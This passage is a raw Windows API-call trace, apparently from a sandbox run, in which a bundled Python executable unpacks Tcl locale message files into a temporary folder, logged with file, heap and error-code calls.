GetLastError () returned 0x2 [0037.836] SetLastError (dwErrCode=0x2) [0037.836] GetLastError () returned 0x2 [0037.836] SetLastError (dwErrCode=0x2) [0037.836] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\th.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\th.msg", lpFilePart=0x0) returned 0x3c [0037.836] GetLastError () returned 0x2 [0037.836] SetLastError (dwErrCode=0x2) [0037.836] GetLastError () returned 0x2 [0037.836] SetLastError (dwErrCode=0x2) [0037.836] GetLastError () returned 0x2 [0037.836] SetLastError (dwErrCode=0x2) [0037.836] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\th.msg") returned 61 [0037.836] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.836] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\th.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\th.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.836] GetFileType (hFile=0x10c) returned 0x1 [0037.836] htonl (hostlong=0x1090000) returned 0x901 [0037.836] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.836] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x901, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x901, lpOverlapped=0x0) returned 1 [0037.837] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.837] CloseHandle (hObject=0x10c) returned 1 [0037.838] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.838] htonl (hostlong=0x30000000) returned 0x30 [0037.838] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.838] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.838] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.838] GetFileType (hFile=0x10c) returned 0x1 [0037.838] htonl (hostlong=0xa6a75700) returned 0x57a7a6 [0037.838] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c57a6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.838] htonl (hostlong=0x77010000) returned 0x177 [0037.838] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x177) returned 0x550600 [0037.838] htonl (hostlong=0x77010000) returned 0x177 [0037.838] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.839] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.839] htonl (hostlong=0x6d040000) returned 0x46d [0037.839] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x46d) returned 0x550780 [0037.839] htonl (hostlong=0x77010000) returned 0x177 [0037.839] htonl (hostlong=0x6d040000) returned 0x46d [0037.839] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.839] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.839] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.839] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.839] CloseHandle (hObject=0x10c) returned 1 [0037.839] GetLastError () returned 0x0 [0037.839] SetLastError (dwErrCode=0x0) [0037.839] GetLastError () returned 0x0 [0037.839] SetLastError (dwErrCode=0x0) [0037.839] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.839] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.839] GetFileType (hFile=0x10c) returned 0x1 [0037.839] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.839] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.839] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.839] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.839] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.839] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.839] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.839] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.839] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.839] CloseHandle (hObject=0x10c) returned 1 [0037.840] GetLastError () returned 0x0 [0037.840] SetLastError (dwErrCode=0x0) [0037.840] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.840] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.840] GetFileType (hFile=0x10c) returned 0x1 [0037.840] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.840] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.840] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.840] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.840] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.840] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.840] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.840] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.840] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.840] CloseHandle (hObject=0x10c) returned 1 [0037.840] GetLastError () returned 0x0 [0037.840] SetLastError (dwErrCode=0x0) [0037.840] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\tr.msg") returned 61 [0037.840] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\tr.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\tr.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.840] GetLastError () returned 0x2 [0037.840] SetLastError (dwErrCode=0x2) [0037.840] GetLastError () returned 0x2 [0037.840] SetLastError (dwErrCode=0x2) [0037.841] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\tr.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\tr.msg", lpFilePart=0x0) returned 0x3c [0037.841] GetLastError () returned 0x2 [0037.841] SetLastError (dwErrCode=0x2) [0037.841] GetLastError () returned 0x2 [0037.841] SetLastError (dwErrCode=0x2) [0037.841] GetLastError () returned 0x2 [0037.841] SetLastError (dwErrCode=0x2) [0037.841] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\tr.msg") returned 61 [0037.841] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.841] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\tr.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\tr.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.842] GetFileType (hFile=0x10c) returned 0x1 [0037.842] htonl (hostlong=0x6d040000) returned 0x46d [0037.842] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.842] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x46d, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x46d, lpOverlapped=0x0) returned 1 [0037.843] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.843] CloseHandle (hObject=0x10c) returned 1 [0037.843] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550780 | out: hHeap=0x530000) returned 1 [0037.843] htonl (hostlong=0x30000000) returned 0x30 [0037.843] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.843] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.843] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.844] GetFileType (hFile=0x10c) returned 0x1 [0037.844] htonl (hostlong=0x1da95700) returned 0x57a91d [0037.844] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c591d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.844] htonl (hostlong=0xe0010000) returned 0x1e0 [0037.844] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e0) returned 0x550600 [0037.844] htonl (hostlong=0xe0010000) returned 0x1e0 [0037.844] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.844] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.844] htonl (hostlong=0x41080000) returned 0x841 [0037.844] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x841) returned 0x55e278 [0037.844] htonl (hostlong=0xe0010000) returned 0x1e0 [0037.844] htonl (hostlong=0x41080000) returned 0x841 [0037.844] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.844] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.844] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.844] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.844] CloseHandle (hObject=0x10c) returned 1 [0037.844] GetLastError () returned 0x0 [0037.844] SetLastError (dwErrCode=0x0) [0037.844] GetLastError () returned 0x0 [0037.844] SetLastError (dwErrCode=0x0) [0037.844] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.844] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.844] GetFileType (hFile=0x10c) returned 0x1 [0037.844] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.844] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.845] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.845] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.845] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.845] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.845] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.845] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.845] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.845] CloseHandle (hObject=0x10c) returned 1 [0037.845] GetLastError () returned 0x0 [0037.845] SetLastError (dwErrCode=0x0) [0037.845] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.845] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.845] GetFileType (hFile=0x10c) returned 0x1 [0037.845] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.846] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.846] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.846] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.846] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.846] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.846] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.846] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.846] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.846] CloseHandle (hObject=0x10c) returned 1 [0037.846] GetLastError () returned 0x0 [0037.846] SetLastError (dwErrCode=0x0) [0037.846] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\uk.msg") returned 61 [0037.846] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\uk.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\uk.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.846] GetLastError () returned 0x2 [0037.846] SetLastError (dwErrCode=0x2) [0037.846] GetLastError () returned 0x2 [0037.846] SetLastError (dwErrCode=0x2) [0037.846] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\uk.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\uk.msg", lpFilePart=0x0) returned 0x3c [0037.846] GetLastError () returned 0x2 [0037.846] SetLastError (dwErrCode=0x2) [0037.846] GetLastError () returned 0x2 [0037.846] SetLastError (dwErrCode=0x2) [0037.846] GetLastError () returned 0x2 [0037.846] SetLastError (dwErrCode=0x2) [0037.846] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\uk.msg") returned 61 [0037.846] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.846] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\uk.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\uk.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.847] GetFileType (hFile=0x10c) returned 0x1 [0037.847] htonl (hostlong=0x41080000) returned 0x841 [0037.847] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.847] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x841, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x841, lpOverlapped=0x0) returned 1 [0037.848] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.848] CloseHandle (hObject=0x10c) returned 1 [0037.848] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.848] htonl (hostlong=0x30000000) returned 0x30 [0037.848] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.848] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.848] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.849] GetFileType (hFile=0x10c) returned 0x1 [0037.849] htonl (hostlong=0xfdaa5700) returned 0x57aafd [0037.849] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c5afd, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.849] htonl (hostlong=0x85010000) returned 0x185 [0037.849] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x185) returned 0x550600 [0037.849] htonl (hostlong=0x85010000) returned 0x185 [0037.849] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.849] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.849] htonl (hostlong=0x8d050000) returned 0x58d [0037.849] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x58d) returned 0x55e278 [0037.849] htonl (hostlong=0x85010000) returned 0x185 [0037.849] htonl (hostlong=0x8d050000) returned 0x58d [0037.849] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.849] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.849] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.849] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.849] CloseHandle (hObject=0x10c) returned 1 [0037.849] GetLastError () returned 0x0 [0037.849] SetLastError (dwErrCode=0x0) [0037.849] GetLastError () returned 0x0 [0037.849] SetLastError (dwErrCode=0x0) [0037.849] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.849] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.849] GetFileType (hFile=0x10c) returned 0x1 [0037.849] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.849] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.850] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.850] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, 